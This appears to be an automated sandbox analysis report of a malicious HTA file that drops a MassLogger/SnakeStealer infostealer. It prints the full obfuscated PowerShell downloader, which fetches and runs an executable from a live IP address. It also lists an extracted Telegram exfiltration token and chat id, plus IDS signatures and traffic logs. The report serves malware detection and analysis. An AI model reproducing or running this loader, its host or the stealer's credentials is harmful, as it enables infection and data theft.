iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))", CommandLine: POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7I

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5308, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", ProcessId: 6844, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T01:19:05.711080+0100	2022050	1	A Network Trojan was detected	23.95.235.28	80	192.168.2.6	49695	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T01:19:05.855949+0100	2022051	1	A Network Trojan was detected	23.95.235.28	80	192.168.2.6	49695	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T01:19:12.426210+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49696	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\csoss.exe	Avira: detection malicious, Label: TR/AD.SnakeStealer.ergur
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe	Avira: detection malicious, Label: TR/AD.SnakeStealer.ergur

Found malware configuration

Source: 00000007.00000002.2509390080.00000000024F1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\csoss.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: needagoodplanforsuccesstogetbackbest.hta	Virustotal: Detection: 40%			Perma Link
Source: needagoodplanforsuccesstogetbackbest.hta	ReversingLabs: Detection: 27%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49697 version: TLS 1.0

Source:	Binary string: wntdll.pdbUGP source: csoss.exe, 00000006.00000003.1394760413.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1395803435.0000000003970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: csoss.exe, 00000006.00000003.1394760413.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1395803435.0000000003970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.pdb source: powershell.exe, 00000003.00000002.1400376615.0000000004B4A000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6445A GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00D6445A
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6C6D1 FindFirstFileW,FindClose,	6_2_00D6C6D1
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	6_2_00D6C75C
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00D6EF95
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00D6F0F2
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00D6F3F3
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D637EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00D637EF
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D63B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00D63B12
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00D6BCBC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00965782h	7_2_00965358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 009651B9h	7_2_00964F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00965782h	7_2_009656AF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 23.95.235.28:80 -> 192.168.2.6:49695
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 23.95.235.28:80 -> 192.168.2.6:49695

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 17 Mar 2025 00:19:04 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 13 Mar 2025 12:29:25 GMTETag: "ef800-6303878f4d6d6"Accept-Ranges: bytesContent-Length: 980992Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 cf d2 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 16 06 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0f 00 00 04 00 00 b6 19 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c a4 0b 00 7c 01 00 00 00 70 0c 00 00 6f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0e 00 1c 71 00 00 c0 2b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 48 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 dc 08 00 00 10 00 00 00 de 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e e1 02 00 00 f0 08 00 00 e2 02 00 00 e2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 e0 0b 00 00 52 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 6f 02 00 00 70 0c 00 00 70 02 00 00 16 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 71 00 00 00 e0 0e 00 00 72 00 00 00 86 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 23.95.235.28 23.95.235.28

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49696 -> 158.101.44.242:80

Source: global traffic	HTTP traffic detected: GET /120/csoss.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 23.95.235.28Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49697 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.235.28

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_04487A38 URLDownloadToFileW,

3_2_04487A38

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /120/csoss.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 23.95.235.28Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: powershell.exe, 00000003.00000002.1400376615.0000000004B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.235.28/120/csoss.ex
Source: powershell.exe, 00000003.00000002.1400376615.0000000004B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.235.28/120/csoss.exe
Source: powershell.exe, 00000003.00000002.1413448646.0000000007C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.95.235.28/120/csoss.exeSs
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.000000000255E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000007.00000002.2509390080.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: RegSvcs.exe, 00000007.00000002.2509390080.000000000258D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000007.00000002.2509390080.000000000258D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1400376615.0000000004661000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1400376615.0000000004661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1399303841.00000000005E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com64/WindowsPowerShell/v1.0/Author=
Source: powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
